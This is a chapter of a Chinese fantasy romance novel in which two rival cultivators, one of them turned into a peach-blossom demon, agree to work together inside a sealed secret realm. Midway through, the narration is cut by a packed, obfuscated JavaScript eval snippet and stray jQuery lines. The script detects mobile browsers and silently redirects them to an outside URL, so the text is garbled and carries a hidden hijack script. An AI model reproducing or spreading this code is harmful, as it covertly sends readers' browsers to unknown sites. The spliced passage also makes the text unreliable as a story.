推门的前一刻,明荷华还在想,莫非这位师姐当真为色所迷?
不然,怎会执行任务时也要将男宠带上?
然而走近后熟悉的灵力波动,以及外围刻意设下的结界——
一切都昭示着屋中人的身份。
果然。
那人倚立窗边,仿如临水照影。
闻声转过来时,目光沉静,宛若春山明雪。
不是谢翊安又是谁!?
眀荷华着实没想到竟会这么巧,最初的震惊过后,她迅速冷静下来,
就着顾盼刚刚的话,看着谢翊安的眼睛,似笑非笑,一字一句反问:
“男宠?”
谢翊安眉梢轻动,不知是喜是怒。
顾盼不知两人的龃龉,还在兴致勃勃地讲述:
“对呀,昨天这位可是当街拦下了师姐,师姐以前都不爱让人近身。现下把他收入房中,难道不是……”
“诶诶!?师姐!”
眀荷华撸了一把她的脑袋,把人哄停了,唤她早点去休息。
顾盼也不在意刚刚被打断的话题,晕乎乎地走了。
只有庄衡还颇为怨念地盯着门缝,看上去恨不得身份互换、取而代之。
终于等人都走了,屋内一片清静。
眀荷华踏入门槛的时候顿了一下,这里有一道障眼法。但她很快又毫不在意地大步行进,径直走到谢翊安身前。
此刻终于有空细细打量对方,发现果然也与原本的相貌有细微差异。
这人眼尾仿佛多了一抹秾艳的红,化不开似的。
本就姝丽的容色,更是平添几分妖冶。
再配上这幅被束缚住双手的模样,真是……
眀荷华突然心情很好。
麓山书院荟萃天下英才,十年一届,她与谢翊安正是当年同届。
原本一个主修剑,一个主修符,八竿子打不着的学院关系。
可偏偏一来二去,她和谢翊安就是结成了人尽皆知的宿敌。
夺魁首前夕,他俩的名字在桌盘下注跟注的最多;交流会时期,人们又若有若无、心照不宣地将他们隔开。
……
她不知道的是,谢翊安也在看她。
眀荷华与原来的差别其实并不算大。
她神色散漫,眉眼却张扬,望向人时总是笑意先至,什么境况都能泰然处之。
仿佛这全然不是一个危险至极的秘境。
“笑什么?”
谢翊安突然开口。
“见你被捆了,看着高兴。”
眀荷华倒是很坦荡。
她的目光随之落在这根不起眼的绳索上。
不过片刻,她“咦”了一声,这下是真有点意外了:
“你变成了妖?”
这绳子其貌不扬,陈旧破损,但眀荷华何等敏锐,立时便发现了这是一根缚妖绳。
再结合谢翊安容貌的变化,发生了什么简直呼之欲出。
“是。”
谢翊安静静观察着她的神色,却见她似乎只有对自己被捆的嘲笑,并没有对妖族的看轻与憎恶。
嗯,还有一点不明显的新奇和困惑。
还没等他问出口,眀荷华便解释道:
“我刚刚在外面试过了,恐怕这秘境选人的原因就是‘合适’。”
“性情相投,年龄相适,身份相合,扮演或是替代。”
所以她之前也试探了一下这位“师姐”可能会做的事,判断出她俩估计很有些默契。
至少当时没有因此发生什么诡异的变动,即是在规则允许范围内的。
所以——
谢翊安一个人,为什么变成妖?
莫非他长得太好看了?
那凭什么不是我变成妖??
不,等等。
可供参考的人选太少,不一定是身份,或许只是经历、性格,只要有重合……
眀荷华不再纠结这一点,转而看向谢翊安:
“你知道当时触发了什么吗?这个秘境为什么突然开启?”
却见谢翊安沉默了一瞬,看向她:“我以为是因为你。”
“……?”
“书院里那只龟。”谢翊安好心提醒道。
呃,好吧。
眀荷华差点忘了,自己的运气有些时候确实逆天。
书院里有只活了上万年的老龟,据说如果是他看得顺眼的人,就会随机吐出一些灵宝。为这传闻不知道多少人绞尽脑汁,却都无功而返。
就在大家怀疑这纯粹是以讹传讹的时候,眀荷华路过,那龟竟然主动跟着她走了两步,片刻后真的吐出了一件金光闪闪的宝器。
把围观的人惊得下巴都掉了。
“但我还是觉得,是你们打得太激烈的原因。”眀荷华坚持己见。
却听谢翊安笑了一声,语气有些玩味:“那你当时在做什么?”
“咱俩这关系,看见你被围殴,不坑一把简直没道理。”
眀荷华振振有词,面上毫无愧色,
“君子论迹不论心。我是想偷袭,但这不是还没做吗。”
“倒是你,你的剑先冲我飞过来的。”
谢翊安看了她一眼,不知道什么意味。
他开口,声音还是一贯的清润:“前尘旧事不论,现在——”
“合作吗?”
眀荷华一顿,险些怀疑自己听错了:
“你,跟我?”
虽说他俩算不上什么生死仇怨,但那么多关于宿敌的夸张谣传里——
互相不喜倒是真的。
“我现在是妖,的确行动不便。”谢翊安倒是很懂得示弱,“何况秘境不会让我无缘无故变成妖,背后恐怕另有隐情。”
这话不假。
眀荷华轻哂。
事关生死,若要破境,他俩联手肯定比分头快。
有什么没论清的,一概出去再说。
她可不想和这人一起悄无声息地死在这个秘境里。
“好。”眀荷华也很果断,敲定了就开始交换信息,“你的通灵玉还能用吗?”
通灵玉是修士间联络的工具,以灵气为媒介,不论天涯海角,都能联系上对方。
“不行。”谢翊安也查看过了,“恐怕这是芥子空间的一角,独立于三界之外。”
这回可真是出不去就永远留下了。
但只要有线索就有方法。
“凡要破境,大多两种方法:一是找到缔造此境的主境人,杀了他,他是阵眼,也是无意识的操控者。”
“二是截断境中事,避免重蹈覆辙,不断溯回便是愿力太多,执念太深。”眀荷华总结道。
谢翊安沉吟片刻,问:“你知道千年前的邺城吗?”
眀荷华点头。
“那场诡异的大火烧了七天七夜,据说城内满目疮痍,无人生还。”谢翊安道,“我不认为仅凭我们两个人就可以阻止。”
眀荷华再次点头。
她发现谢翊安停住了,抬眼看过去表示疑问。
“我只是以为你倾向于第二条。”谢翊安若有所思。
“其实都可以。”眀荷华不置可否,“我的身份是青州玉玄门的师姐,似乎是受邺城城主之托,帮忙除祟。明日各大宗门齐聚一堂,不愁探听不到消息。”
她想了想,道:“明日你也去。”
谢翊安应好,眼睫却垂了下来,有些恹恹的。
眀荷华顺着他的视线看过去,发现这人还被捆着,顿时有些讪讪。
谢翊安此刻是妖,灵力受到压制,经脉也会淤堵滞涩。
况且,算算时间,他恐怕被绑了大半天了。
她念动法诀,向下注入灵力,原本沉睡的绳结骤然亮起,符文像活物般游动。
须臾,缚妖绳轻轻坠地。
谢翊安稍稍转动了下手腕,语带笑意:“多谢。”
然后眀荷华就眼睁睁看着这人优哉游哉地去泡茶了。
“……”
即便在这简陋的客栈中,也不改他那一身矜贵的毛病。
她没忍住询问:“那你呢?”
眀荷华其实倾向于这位师姐也知道她屋内的是妖,所谓“独处”,所谓“男宠”,其实都是帮这只妖遮掩身份。
即便被束缚,他也是活动自如的。
所以,这只妖找上她的目的是什么?
谢翊安斟了半杯清茶递过来,不疾不徐道:“我猜,这只妖是来向你求援的。”
不过是最普通的白瓷杯盏,在他手中却恍若名贵不可方物,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092965|195519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杯中更似盛有玉露琼浆。
眀荷华浅浅抿了一口,刚要说些什么,下一瞬却陡然睁大了眼睛。
她竟然看见谢翊安凭空变出了一截树枝!!
不,更准确地说,是他生长出来的。
连着筋骨与血肉,带着极细微的、令人牙酸的“噼啪”声。
“你是树妖??”
这恐怕是眀荷华今天情绪波动最大的一次。
知道有人变成妖是一回事,亲眼看这人真的演示一遍,又是另一回事。
她合理怀疑谢翊安给她泡茶,又一言不发来这出,就是想看她惊得呛到。
毕竟千年之后的大陆上,真的很难见到一只活生生的、给你大变树杈的妖。
谢翊安的视线在眀荷华被水晕开的唇色上停留一瞬,又状似无意地收回,示意她看连接处。
其实不用凑近也能发现,枝桠伤痕累累,是暴力折断后的痕迹。
然而生长还没有停止,在扬起的枝头,缓慢又温柔地开出一簇浅粉来。
它们那样脆弱,又那样顽强,像一只只将悬未悬、又振翅欲飞的蝴蝶。
眀荷华几乎要惊叹了。
“我是桃花妖。”谢翊安说,“他身上还带着一些价值不菲的灵花灵草,像是从哪里跑出来的。”
“原来如此。”眀荷华的视线还是停在他的手臂上。
“你在想什么?”谢翊安看着她的眼睛。
“我在想,这里会疼吗?”
眀荷华没经历过妖的生活,但想想若自己的胳膊被砍断,那应该是很痛的。
谢翊安却没有回答她。
这是一个有些超出他们界限之外的问题。
……
总之。
两人一番交流后,算是对当下的情况有了大致的了解。
他们此前没有同一阵营的经历,也就不知道彼此思路竟然都能对上,甚至会下意识地思考如果是对方,那会怎么做。
发现这点时,互相都沉默了下,又不约而同地岔开话题。
这种顺畅无阻碍的感觉太难得,以至于两人都忘了一件重要的事——
他们即将整晚都共处一室。
当气氛凝滞下来,眀荷华率先发现了这一窘境,她决定在床下打坐,把床铺让给某位伤病妖士。
可惜妖身残志坚,早已占据墙角,捧着一卷书闲适地翻阅,看起来并没有挪窝的打算。
眀荷华觉得谢翊安也挺神奇的。
他对这状况接受良好,没有一丝不情愿。
可明明他平日里最为讲究不是吗。
既然有床可以休息,不躺白不躺。
她的修炼还没有进化掉睡眠。
“这是客栈里的书吗?”眀荷华看过去。
半天下来,两人已经能够心平气和地对话。
抛开竞争与嫌隙,此舍之内,他们就是似远似近、半生不熟的同窗而已。
谢翊安笑了一下:“我自己带的。”
他手指修长,一只手便能握住一卷书,轻轻翻页时,整个屋子都安静下来。
眀荷华看了他一会儿。
她觉得变成妖的谢翊安更好看了。
也可能是灯下看美人的错觉。
于是她翻了个身,打算休息。
她并非托大,其实也有暗中防备,只是确信自己可以面对突发情况。
但修者总是耳聪目明,多了一个人在屋内,彼此交错的呼吸声,无孔不入的对方的存在感,一切都让入睡变得困难。
谢翊安想必也是预计到这一点,才选择看书。
她却不知道,对方的书页不知何时已经静静合上了。
与阴影融为一体的,是一段长久的、专注的、凝视的目光。
……
半梦半醒间,眀荷华仿佛闻到了一丝清浅的桃花香。
这味道并不馥郁,甚至没有什么存在感。
只是干净、平和、又绵长。
比起吸引和争夺,显然安神的意味更浓。
她想转头看一眼,但身边并没有预警,昭示着这一切都是无害的。
一片朦胧中,她却回忆起曾经某刻,对方避之不及的冰冷目光。
算了。
她不再思考,终于沉沉睡去。